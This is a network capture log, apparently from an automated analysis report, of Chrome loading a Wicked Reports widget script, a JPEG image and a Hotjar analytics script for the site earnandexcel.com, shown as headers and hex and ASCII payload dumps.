2024-04-11 21:26:51 UTC	1369	IN	Data Raw: 6d 88 6e fa e5 a1 3a a5 b2 7e 9b 8a 3f 36 1b f7 fa 4d 08 37 74 3b dc 75 da 11 26 b8 3c ee 2d d7 e7 e5 aa 52 af 5b 51 3c 81 8e fe 50 73 de 34 5e c9 bc 83 31 f7 e0 9d 9b 65 6a b0 4b 62 a3 0f 8f 62 a3 7a 28 7e 6f c0 6e 14 1b da 5f c9 2a d1 d5 eb 01 d9 ad b4 5e e8 c0 f8 5e 3f 7f de d9 65 de 65 68 80 96 95 de 0f cc 79 65 fd bb cf 0f 27 bc c9 6f 86 5d 1e 7c 68 18 6f c2 cb d4 e0 62 6e 20 72 28 86 4f 76 c9 2e 8c 17 e8 3e fc 32 45 76 dd 78 23 ed 2a be 96 1c e4 e7 91 19 e0 e7 b3 b2 2c 4e d8 f5 24 4d 78 05 5a 65 d7 71 0d 76 5b 4b 80 48 53 0d f1 69 e0 8b 83 b7 58 f9 4d f9 66 e9 38 20 d0 17 e6 6b d6 27 23 5b 31 62 ea 4d b3 1b ee a3 4f ce 77 da 2b 9d 97 8d 39 21 df 0e ac 37 f2 92 de 4e cf 05 67 22 38 10 de 2e f1 ed b6 82 b7 e2 ad af f3 e6 d1 b2 d0 9b 4b df cf 79 5f 83 Data Ascii: mn:~?6M7t;u&<-R[Q<Ps4^1ejKbbz(~on_^^?eehye'o]\|hobn r(Ov.>2Evx#,N$MxZeqv[KHSiXMf8 k'#[1bMOw+9!7Ng"8.Ky_
2024-04-11 21:26:51 UTC	1369	IN	Data Raw: 19 31 4f 9b 0e 08 9e bd d2 10 97 70 63 3b 44 f6 c6 11 de 89 12 5e 6a 66 02 9b dc cf 00 dd e3 84 37 23 2f e1 25 bb 40 37 54 ac ec 1b d2 44 7c 44 f0 75 78 0f 1f 7a 85 d9 62 83 69 3c 65 ba aa da 64 de c5 8f 3e 5a 5c 3c 7f 9d f8 3a c0 e0 d7 5b 1c e8 bd d6 18 39 07 e7 25 bc c8 0d fb 2b d1 05 b4 64 d7 d7 5f 3a bc e4 cd 7d 37 1a 73 86 86 40 2f 72 03 80 15 9d e1 bd 17 1a 84 5d 6a 4c 2b e8 76 ce 96 ce 0b 09 be 7c cf 59 a8 c7 78 ab de e6 6c 40 fb 9b ca 78 23 ba cd 53 38 0d b6 e2 b8 c7 85 d5 cb 0b 97 a1 1b 97 2f af 5c 96 97 7b 97 2f ef 5d de 13 01 60 88 04 27 c3 14 df 85 77 03 f2 56 12 79 31 46 45 64 d7 53 43 65 43 6b 71 da e3 35 52 ae 20 71 74 93 71 9f a5 d0 42 59 d2 0b 74 e1 39 60 77 a6 06 5f c5 5a 43 da ae 5d 9b 01 23 8b 65 bc f6 25 f1 3e 22 f7 84 f7 f0 e5 86 aa Data Ascii: 1Opc;D^jf7#/%@7TD\|Duxzbi<ed>Z\<:[9%+d_:}7s@/r]jL+v\|Yxl@x#S8/\{/]`'wVy1FEdSCeCkq5R qtqBYt9`w_ZC]#e%>"
2024-04-11 21:26:51 UTC	1369	IN	Data Raw: 02 de f7 09 6f 11 1c 4e f9 66 d3 ee bc 19 7a 73 63 a7 bb c3 4b 74 c3 73 7d 2a 97 44 12 c5 7a a5 81 ec 52 2f 3a be e9 bb 80 d7 e6 1c 8e 8d 8f 99 15 8c 70 7d 4a 87 f0 a2 9a c3 df 8b a8 f3 02 72 78 2e be e1 13 09 ce ae 24 5c 33 5e 45 77 1b e8 92 dd cd 1d b2 5b 3f 5b 33 db 4d d3 25 b9 90 65 5c b3 dd 0d e8 e6 06 e9 0d df 4d 6f 85 eb e2 28 45 b8 f1 93 e2 df cb 97 a5 bc 32 34 0a 18 35 fe 79 e8 0d 6e 09 b4 ef 6b cd 91 b6 db bb 35 13 e1 85 c8 ae 88 ec 42 60 b7 6c 2a 13 46 09 af 87 86 e0 b7 8f d4 79 db 95 ca 14 c7 aa a4 d9 32 6f ee 13 59 34 37 84 77 b4 88 0d 90 e5 86 64 17 ce fb 94 c0 7b 31 9d 37 56 bf 2f f5 cb bd f4 5d 5b ad e3 4a 78 d9 32 93 6b d7 bc 8d 86 98 c6 e2 b3 87 f5 e7 96 24 52 f0 e7 01 e5 38 23 98 5e 45 5d 6a a4 43 f0 5e 77 de 9c 1d 96 13 bb 2e cf 34 b8 Data Ascii: oNfzscKts}DzR/:p}Jrx.$\3^Ew[?[3M%e\Mo(E245ynk5B`lFy2oY47wd{17V/][Jx2k$R8#^E]jC^w.4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
188	192.168.2.17	49935	13.226.34.8	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:50 UTC	570	OUT	GET /v2/3819/wr-4d84483e4ddfd7d3afb00685f0750c13.js HTTP/1.1 Host: widget.wickedreports.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:50 UTC	463	IN	HTTP/1.1 200 OK Content-Type: text/javascript Content-Length: 471 Connection: close Date: Thu, 11 Apr 2024 16:49:10 GMT Last-Modified: Wed, 14 Jul 2021 18:57:06 GMT ETag: "b20499f439a2f3dd4f591aabf183c0d6" Accept-Ranges: bytes Server: AmazonS3 X-Cache: Hit from cloudfront Via: 1.1 18bf85a0313cb4e24b1d0538b9294d9c.cloudfront.net (CloudFront) X-Amz-Cf-Pop: EWR53-C2 X-Amz-Cf-Id: j-dBVfz6LPrQW7odoLjuMMRBjqdtLiCcGebUoCQ5VTd2v3qcPsUC1A== Age: 16660
2024-04-11 21:26:50 UTC	471	IN	Data Raw: 3b 77 69 6e 64 6f 77 2e 77 72 57 69 64 67 65 74 53 65 74 74 69 6e 67 73 3d 77 69 6e 64 6f 77 2e 77 72 57 69 64 67 65 74 53 65 74 74 69 6e 67 73 7c 7c 7b 27 63 6c 69 63 6b 62 61 6e 6b 27 3a 21 31 2c 27 68 75 62 73 70 6f 74 27 3a 21 31 2c 27 6c 65 67 61 63 79 42 72 6f 77 73 65 72 73 27 3a 21 31 2c 27 67 43 6c 69 63 6b 27 3a 21 30 2c 27 6f 72 67 61 6e 69 63 27 3a 21 30 2c 27 6d 69 6e 54 69 6d 65 4d 69 6e 75 74 65 73 27 3a 32 38 38 30 2c 27 6f 72 67 61 6e 69 63 44 6f 6d 61 69 6e 73 27 3a 5b 27 65 61 72 6e 61 6e 64 65 78 63 65 6c 2e 74 68 72 69 76 65 63 61 72 74 2e 63 6f 6d 27 2c 27 65 61 72 6e 61 6e 64 65 78 63 65 6c 2e 63 6f 6d 27 5d 2c 27 70 61 79 70 61 6c 45 43 27 3a 21 31 2c 27 66 61 63 65 62 6f 6f 6b 4f 43 54 27 3a 21 31 2c 27 63 49 64 27 3a 33 38 31 39 Data Ascii: ;window.wrWidgetSettings=window.wrWidgetSettings\|\|{'clickbank':!1,'hubspot':!1,'legacyBrowsers':!1,'gClick':!0,'organic':!0,'minTimeMinutes':2880,'organicDomains':['earnandexcel.thrivecart.com','earnandexcel.com'],'paypalEC':!1,'facebookOCT':!1,'cId':3819

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
189	192.168.2.17	49936	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:50 UTC	1029	OUT	GET /wp-content/uploads/VBA-For-Professionals-11.jpg HTTP/1.1 Host: earnandexcel.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c
2024-04-11 21:26:51 UTC	903	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:51 GMT Content-Type: image/jpeg Content-Length: 60023 Connection: close CF-Ray: 872e0ea87c025e82-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60dff775-ea77" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Sat, 03 Jul 2021 05:36:53 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wt6UFmybJSsDtWrA6YTMP8LlRi6P%2BxrmWhA3WY1Sg1pndxLUbaSV3mq7HPJpKmLKVABBEpFzMk18lqQx0mpMui%2FtKikH8jdgyxdjiYSTXDKdrKA23GaTRhJiPw9JAb9IetU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:51 UTC	1369	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 02 02 02 02 02 02 02 02 02 02 02 03 03 03 03 03 03 03 03 03 03 ff db 00 43 01 01 01 01 01 01 01 02 01 01 02 02 02 01 02 02 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 ff c2 00 11 08 01 5e 01 5e 03 01 11 00 02 11 01 03 11 01 ff c4 00 1e 00 00 00 06 03 01 01 00 00 00 00 00 00 00 00 00 00 00 04 05 06 07 08 02 03 09 01 0a ff c4 00 1b 01 00 02 03 01 01 01 00 00 00 00 00 00 00 00 00 00 00 04 02 03 05 01 06 07 ff da 00 0c 03 01 00 02 10 03 10 00 00 01 ef e0 00 Data Ascii: JFIFCC^^
2024-04-11 21:26:51 UTC	1369	IN	Data Raw: 5c 39 38 9c 5e f9 dd 67 2e 8a 6d 5b 5a 2f 50 aa e3 75 da a1 d9 b1 ec 8a 7d 94 f3 65 e5 6a a6 82 0c d3 b8 66 bc e6 c8 72 c7 d0 f5 6c a5 ed 33 e4 87 d5 19 44 e0 f5 b4 2d 5f 56 ee 2e d7 96 99 9e cf 30 74 00 02 90 29 d3 f6 72 ae dd 59 87 17 4b a1 59 7d 80 9a e7 2a f5 68 89 f5 70 11 7d 1a 09 ec a3 b6 be ec 84 64 8a a9 74 d4 39 94 69 66 8e 61 4b 05 ef aa 47 51 b9 21 07 ed 16 73 b6 c9 1b 97 68 bc f1 25 88 d4 5a e8 69 b6 b6 b6 ac 2a 76 9a 50 f4 a8 aa f4 ca ad 49 99 6e bd a8 85 3d 89 19 42 39 5f 27 76 71 b7 3b 66 5a be eb 29 b9 e6 fb 9d a9 e7 4c c4 c8 00 11 a0 e2 2e fd 94 e2 57 37 f3 65 d9 4c cb 26 7a 2e 5b 60 e3 66 ae 2d 38 f6 4a 24 5e a6 fb 6b 50 85 92 32 96 39 eb e9 9e 2b ba a8 98 a7 4e 47 21 2b a2 ea c6 76 8d a2 41 8b 45 99 25 4a ba ae e0 6e b0 bf 2d 21 cb b5 Data Ascii: \98^g.m[Z/Pu}ejfrl3D-_V.0t)rYKY}hp}dt9ifaKGQ!sh%ZivPIn=B9_'vq;fZ)L.W7eL&z.[`f-8J$^kP29+NG!+vAE%Jn-!
2024-04-11 21:26:51 UTC	1369	IN	Data Raw: 48 dd ce 77 e8 d3 5a fd 65 37 29 da 2a 27 57 a1 1b b5 13 94 ee 92 3c ef 9e a7 9a 91 d4 57 29 72 a1 a9 b6 67 c7 fb 77 2e 77 5d 9a d9 6a 0d aa 7f 55 0e 19 7a 44 29 87 af 40 cb 79 64 d6 e6 bc 17 2f ee 76 92 0c ee b2 4c d6 ec 49 93 14 0e ca 7a b5 d9 38 ca 94 88 6d b4 c9 89 33 2c ea 14 bb 28 e5 b6 99 4d f2 cd 68 a8 c5 84 ab 34 21 41 c7 ff 00 19 6b 61 d6 d8 f3 ca 57 a7 68 e5 36 b5 d2 56 ad 2f e9 26 a4 2c 8f 0b a5 ec 4b fa 27 94 a5 de fa 1e 11 99 f3 60 42 d9 6f 45 3e 3b de 9e 41 87 d6 96 66 57 ae 7b 5f 2f 81 fe 91 1a d9 ec f3 0c 39 96 96 b4 48 e5 b7 64 f3 75 25 aa ed b0 37 41 f6 b3 2f 38 0a ab 8e 6e f0 f9 5e 82 8d f3 e9 2b 6c 63 d8 48 f3 1e 8b dd 51 9c 61 b4 f2 3b 24 ab 12 0c 3e ea 76 4d aa fa cd 9a 41 19 c4 7d 7c 52 ed 5a f7 ab 6e 08 b4 a9 9f 7d a8 4d be 4f ab Data Ascii: HwZe7)*'W<W)rgw.w]jUzD)@yd/vLIz8m3,(Mh4!AkaWh6V/&,K'`BoE>;AfW{_/9Hdu%7A/8n^+lcHQa;$>vMA}\|RZn}MO
2024-04-11 21:26:51 UTC	1369	IN	Data Raw: 31 89 a1 78 70 58 95 96 b3 75 9d 6e ca ce 71 6d 29 c4 ff 00 4f e7 50 2a 44 fd 2b 77 08 e7 65 43 c0 da 19 80 00 00 00 00 00 00 00 0f 00 9f 46 d5 b0 49 b1 33 76 2b a1 88 63 c9 78 bd f9 76 e4 ea 5d 6d a0 cb 65 a4 a0 76 aa 6b 5f 9a 81 68 27 6b 69 ce 44 7b 0a da 27 f3 74 a2 ed 7f c6 f5 48 18 5b 33 ce 0e 8d df 4a d4 0a b9 1a 72 54 bb 61 5e 3b ef 62 22 a7 57 72 aa 5f b1 bd 89 c0 dc 00 00 00 00 00 00 00 00 00 00 f0 31 02 d2 e2 0d c9 36 ee 4b 6b 70 d0 73 1e 4b 18 cf 35 5e 24 ab ac 89 f2 28 65 58 b2 d4 d9 d7 05 2d eb 07 5a 15 6f d2 e6 db 0d 7c 49 c7 ce df 18 63 7a 78 4f cf 6d b9 f1 99 b0 74 da da 2e 69 12 6a 3a 9f 2d 5e 47 ba 4a f3 a6 95 77 de 06 83 30 00 00 00 00 00 00 00 00 00 00 01 c3 c0 2d 65 08 17 a2 9b 75 05 2d a9 3a ea 13 78 1e a9 83 83 69 bd 6e 0f 8a b0 dd Data Ascii: 1xpXunqm)OP*D+weCFI3v+cxv]mevk_h'kiD{'tH[3JrTa^;b"Wr_16KkpsK5^$(eX-Zo\|IczxOmt.ij:-^GJw0-eu-:xin
2024-04-11 21:26:51 UTC	1369	IN	Data Raw: 36 1b 4e c7 81 ce 54 e5 1f 8d 67 6c ee 30 83 4d a2 9d 67 17 51 d4 fd c4 c8 ba a5 30 a3 c5 81 16 0b 13 8c e3 fb 5c e1 dd f8 b4 23 e1 a8 bc 10 32 08 be 6b 48 eb b9 9c 0a 3c ff 00 b5 17 f6 fd 92 96 a1 d3 ce da f6 44 8e 19 29 90 62 1b d6 34 ce 71 18 85 c3 47 23 f0 72 67 b4 aa 4b 03 3b d5 2c 41 c6 7b 48 18 a2 51 29 24 4b 36 56 df 4f 66 5e 55 c5 b9 15 a5 34 ca e5 eb dd 63 aa a3 e1 d4 ca b5 3d 26 c3 79 ad e6 a1 e7 4a e8 d1 aa 3c bb e3 86 c3 93 f5 11 e3 88 8d ac fa 8d d5 2c 6e 98 fe ec e7 e3 fa d7 1c b9 d1 17 08 46 37 25 cf 14 78 e1 f3 15 70 01 b8 5b fe ad 7d dd 9d 5d 16 2b f1 f5 68 45 81 43 ee cf 5f 5f 1a aa 25 ac e3 7a e3 72 77 15 8f 22 24 e2 fa d5 96 11 98 a6 96 84 78 e6 45 c4 97 1a 34 77 d8 c2 98 c8 a3 f4 9c f2 ab 16 0c a4 45 73 a1 b9 24 7a c3 53 3e 64 b7 5b Data Ascii: 6NTgl0MgQ0\#2kH<D)b4qG#rgK;,A{HQ)$K6VOf^U4c=&yJ<,nF7%xp[}]+hEC__%zrw"$xE4wEs$zS>d[
2024-04-11 21:26:51 UTC	1369	IN	Data Raw: 9d c1 2a 0a 68 05 df 75 ca cb 48 c4 09 18 41 56 92 5c 9d 72 a9 21 c4 1b 55 11 9f 18 b2 fa 65 bd ed 90 f3 f5 fd 83 bc 2d da 4c 3c 85 e4 58 a5 4a dd 9e ae 53 5b 3c 06 79 15 3b 2f 1d 5c c6 f4 bc 23 1a 0d 82 2f 6a f5 1b 9b 61 b8 e9 f0 aa 2a f4 6d 4f 4d 3f 8b 64 39 92 87 23 c7 73 1b 26 c3 5b 9d 52 5a 69 80 04 9f 1b 79 22 a2 f6 12 bd 1b 8d e5 33 8e 3e df 53 76 ab 2b 6c ab 88 61 8f 4d f4 1a ea 72 91 c0 0b 51 a2 e3 94 d9 c8 81 d7 1c 56 2e 3d c8 e5 e5 cd 6f b9 57 1b c0 f0 fd 78 e1 a2 3c d2 cb 19 e1 37 df 7a 91 36 a8 ed 88 fa 48 84 2c 8a f1 f5 03 59 f8 aa 2a 2c a6 b1 31 ed 02 e3 03 09 d9 3a 9a a4 99 75 ad 1f a4 62 df 55 bb 5e dc cf 1c a2 bf 67 0c b3 61 32 6d e0 00 93 36 1a e2 3b 66 b0 ae 75 55 a0 07 eb 43 9a 1b 5d 57 c5 9b 0d 94 09 7e ff 00 dc bd 4a 81 c7 28 e4 3d Data Ascii: huHAV\r!Ue-L<XJS[<y;/\#/jamOM?d9#s&[RZiy"3>Sv+laMrQV.=oWx<7z6H,Y*,1:ubU^ga2m6;fuUC]W~J(=
2024-04-11 21:26:51 UTC	1369	IN	Data Raw: 2a f7 2e df 97 6f c9 7e 5c 01 39 5f 48 c2 0a b7 5f 8a e7 9a c6 22 c0 0c 32 b5 e1 67 05 68 9b ce 2b 15 ab d7 96 7c f2 2f c7 2e 24 b0 79 2e d0 4e 25 71 21 48 48 ac af 23 0f ae 43 98 2d af 4c 96 17 16 b8 c2 61 9a 4a a9 95 96 a5 78 c9 34 7e d2 a6 f2 49 ac a7 74 89 5b 67 34 bb 1d dd 4d 64 78 95 10 75 eb a9 07 aa d3 3a 38 9f a4 d0 42 bc f3 3d 48 49 b6 ee c5 de 65 fd 3c 9a c2 6a 7d de 88 ad 95 11 f1 4b e9 3d 5a 03 11 a8 22 23 b1 7a 39 be 79 98 39 7b ab 7e 09 fe d2 62 a7 cc 01 c8 53 1e b4 91 e2 eb 30 3a 3f 64 8f ee 2a 21 99 8d 70 9d 91 ca c1 98 8f fc 9a fe 11 08 d7 39 d2 00 89 32 3f bf 58 5a 35 4b 82 5d 21 18 f8 f5 91 06 57 d7 02 53 a7 52 5a b0 36 f3 a6 40 1c 6f fa f3 63 c6 50 25 1e 9c 6d aa 30 bc 2f 2e 39 2b 7c 7c 46 06 5e a5 18 1b c0 ab eb a1 3b aa b7 37 ef 27 Data Ascii: .o~\9_H_"2gh+\|/.$y.N%q!HH#C-LaJx4~It[g4Mdxu:8B=HIe<j}K=Z"#z9y9{~bS0:?d!p92?XZ5K]!WSRZ6@ocP%m0/.9+\|\|F^;7'
2024-04-11 21:26:51 UTC	1369	IN	Data Raw: f6 43 a3 9a fb 34 e5 64 f2 a8 a5 54 73 dc ab 96 93 58 21 c9 b3 96 1b 3a 0d e6 35 a2 9d ab 9b 1c 45 2a 37 85 75 4c 82 c5 94 fd b7 8c 2e ca ae c2 5e 2b 96 d6 e0 85 82 1a 2b 4b ed 8f c3 ff 00 4f 75 1a 5e 75 5e 51 8e 45 e3 f8 0f 62 3b 0f 1b 9c 6b 7a b1 cc e7 1c 27 26 70 ee 58 ee 33 e0 99 20 48 66 da 00 cc 43 fc 34 e5 6b 5d 22 62 b5 9e b3 5f 61 b1 ea b5 d6 80 0e ad 3c 16 e0 8c da e8 c5 13 0c 09 f1 81 15 52 4c 86 39 08 57 27 a6 44 46 89 88 9a f7 8d ad f6 66 69 de 3b d5 f4 81 a7 e5 89 fc 47 c7 1b 95 c0 e3 1e 98 41 ae 13 bb 31 af 5e 3d 44 73 65 46 1c 96 5d ea ea e0 d8 21 06 79 85 ee a7 42 23 e9 6e 86 e1 34 91 d5 ad 38 a4 a2 83 b6 42 d6 61 cb 90 90 e1 15 b2 75 ad 7a 52 8f c7 10 26 2e bb e2 ea aa c3 30 43 63 7a a6 2b 11 73 8f e2 f1 8f 0a 13 1f 15 f8 78 ef 4c 2b 78 Data Ascii: C4dTsX!:5E*7uL.^++KOu^u^QEb;kz'&pX3 HfC4k]"b_a<RL9W'DFfi;GA1^=DseF]!yB#n48BauzR&.0Ccz+sxL+x
2024-04-11 21:26:51 UTC	1369	IN	Data Raw: 92 94 e3 2e 4d d8 e4 56 6e 62 ae 52 36 b5 2e 4a e0 fb 2b ad e3 25 6b 6f 66 e4 29 2e cd e9 0d a6 f2 4e 2d f4 78 13 64 e9 92 e1 f6 4f 4d 63 e8 f0 a5 1e cc b4 8a a6 d9 a7 c9 5c 5e 0b 34 57 4a 39 45 ba 2b b2 57 a4 bd 76 68 68 b2 39 dc 5f 03 5f 54 b6 f9 3e 62 50 cf 99 75 fa 60 23 7e d1 59 fe 45 61 6c ff 00 a6 d1 3f a1 32 7f 30 d0 a1 c1 1a fd 87 0c 72 58 da 21 3c 32 bb 0e 77 15 74 53 d0 be 09 ff 00 81 c8 4f 04 5e 44 c9 65 b2 49 8e 39 fb 8a bc fd ca e8 c1 45 78 2a 48 5c c3 03 af 7b 2b d0 ee 2b d0 ec 35 3a 5f 29 ac ab 05 f0 51 b5 fb 0f bf d1 01 13 e4 49 91 4c b3 e4 25 d1 32 7f 31 15 c1 0a ca e9 c9 6e 9f ca 5b 4b 3c 26 88 45 91 a5 fa 95 50 ff 00 82 ba 1a fb 0a ac 0e 38 25 c1 94 26 45 e3 94 6e 3b 36 9e 17 a9 0a 79 14 12 44 64 85 6e 08 eb 21 d7 aa ec 8e aa 0a 46 97 Data Ascii: .MVnbR6.J+%kof).N-xdOMc\^4WJ9E+Wvhh9__T>bPu`#~YEal?20rX!<2wtSO^DeI9Ex*H\{++5:_)QIL%21n[K<&EP8%&En;6yDdn!F
2024-04-11 21:26:51 UTC	1369	IN	Data Raw: ad bc 90 13 e4 c9 15 91 44 fc be 79 23 56 d2 31 c2 c9 15 99 67 fc 11 8f 09 4b 9c 32 db 36 ac 23 5b 6e 20 e3 ef fa 29 cd 72 58 3f 08 b7 7a 4b d0 ba 11 50 dd ff 00 21 e1 93 ad 33 51 0d af 26 a6 c9 6d 78 2c b2 5d 1b a4 d9 16 52 51 14 c7 4a fb 93 ad 43 a1 cc f1 07 6f 1c 0e c6 fb 14 f2 79 5f dc e1 15 c5 4b b2 1a 78 3e c7 a4 af 66 4d ae 23 72 5c 21 c5 b1 d6 b1 91 ce 51 7c 1a 5d d3 6b 26 8f 41 55 f3 f3 9f e8 fa 7f 61 fe 1d a7 81 f9 1a 50 ab dd 5a 9a f2 fd 09 63 19 44 e7 24 f2 42 d7 92 57 ca 3d 16 6a ac 91 6d b3 96 57 fc 5f e8 4f 93 f0 3b 94 56 dc f2 99 65 9b ab 33 86 49 fb 9a 86 6a 5f 95 96 ac 9b 39 2a a8 aa 9c 94 d4 d7 23 45 e4 89 4b 03 98 e7 96 46 62 91 92 a7 86 55 2c 9d c7 04 a8 25 48 ea f5 35 11 59 c0 b4 fb de 0d 1e 99 a6 8f c3 ea c4 91 2a d6 1e 3b 24 92 5b Data Ascii: Dy#V1gK26#[n )rX?zKP!3Q&mx,]RQJCoy_Kx>fM#r\!Q\|]k&AUaPZcD$BW=jmW_O;Ve3Ij_9#EKFbU,%H5Y;$[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
190	192.168.2.17	49938	18.164.96.87	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:50 UTC	548	OUT	GET /modules.429236d560f51d186b8b.js HTTP/1.1 Host: script.hotjar.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:50 UTC	719	IN	HTTP/1.1 200 OK Content-Type: application/javascript; charset=utf-8 Content-Length: 226211 Connection: close Date: Fri, 05 Apr 2024 10:18:22 GMT Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=31536000 Cross-Origin-Resource-Policy: cross-origin ETag: "82c928eb184b2ce235902634d808a4fc" Last-Modified: Fri, 05 Apr 2024 10:17:11 GMT Strict-Transport-Security: max-age=2592000; includeSubDomains X-Content-Type-Options: nosniff X-Robots-Tag: none Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 eb2e4893b47f0d155cd51b82c2a8d596.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P5 X-Amz-Cf-Id: N3EckKsgsxmw5ZZRtFWgd1u-ZvP15zCBSPqVGmSR915bsAQNH9_B5Q== Age: 558508
2024-04-11 21:26:50 UTC	15665	IN	Data Raw: 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 6d 6f 64 75 6c 65 73 2e 34 32 39 32 33 36 64 35 36 30 66 35 31 64 31 38 36 62 38 62 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 34 37 38 38 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 64 28 74 2c 7b 73 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 7d 7d 29 3b 63 6f 6e 73 74 20 72 3d 4f 62 6a 65 63 74 2e 66 72 65 65 7a 65 28 7b 49 44 45 4e 54 49 46 59 5f 55 53 45 52 3a 22 69 64 65 6e 74 69 66 79 5f 75 73 65 72 22 2c 41 55 54 4f 54 41 47 5f 52 45 43 4f 52 44 49 4e 47 3a 22 61 75 74 6f 74 61 67 5f 72 65 63 6f Data Ascii: /! For license information please see modules.429236d560f51d186b8b.js.LICENSE.txt /!function(){var e={4788:function(e,t,n){"use strict";n.d(t,{s:function(){return r}});const r=Object.freeze({IDENTIFY_USER:"identify_user",AUTOTAG_RECORDING:"autotag_reco
2024-04-11 21:26:50 UTC	16384	IN	Data Raw: 6f 6e 28 29 7b 65 2e 72 75 6e 43 61 6c 6c 62 61 63 6b 28 29 2c 74 2e 61 63 74 69 76 65 57 69 64 67 65 74 3d 65 7d 29 29 7d 2c 74 2e 73 65 74 4c 61 6e 67 75 61 67 65 3d 68 6a 2e 74 72 79 43 61 74 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 21 75 2e 69 6e 63 6c 75 64 65 73 28 74 29 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 27 49 6e 76 61 6c 69 64 20 6c 61 6e 67 75 61 67 65 20 22 27 2b 74 2b 27 22 27 29 3b 65 3d 74 2c 68 6a 2e 77 69 64 67 65 74 2e 61 63 74 69 76 65 4c 61 6e 67 75 61 67 65 44 69 72 65 63 74 69 6f 6e 3d 6e 2e 69 6e 64 65 78 4f 66 28 74 29 3e 2d 31 3f 22 72 74 6c 22 3a 22 6c 74 72 22 2c 68 6a 2e 77 69 64 67 65 74 2e 69 73 41 63 74 69 76 65 4c 61 6e 67 75 61 67 65 44 69 72 65 63 74 69 6f 6e 52 74 6c 3d 22 72 74 6c 22 3d 3d Data Ascii: on(){e.runCallback(),t.activeWidget=e}))},t.setLanguage=hj.tryCatch((function(t){if(!u.includes(t))throw new Error('Invalid language "'+t+'"');e=t,hj.widget.activeLanguageDirection=n.indexOf(t)>-1?"rtl":"ltr",hj.widget.isActiveLanguageDirectionRtl="rtl"==
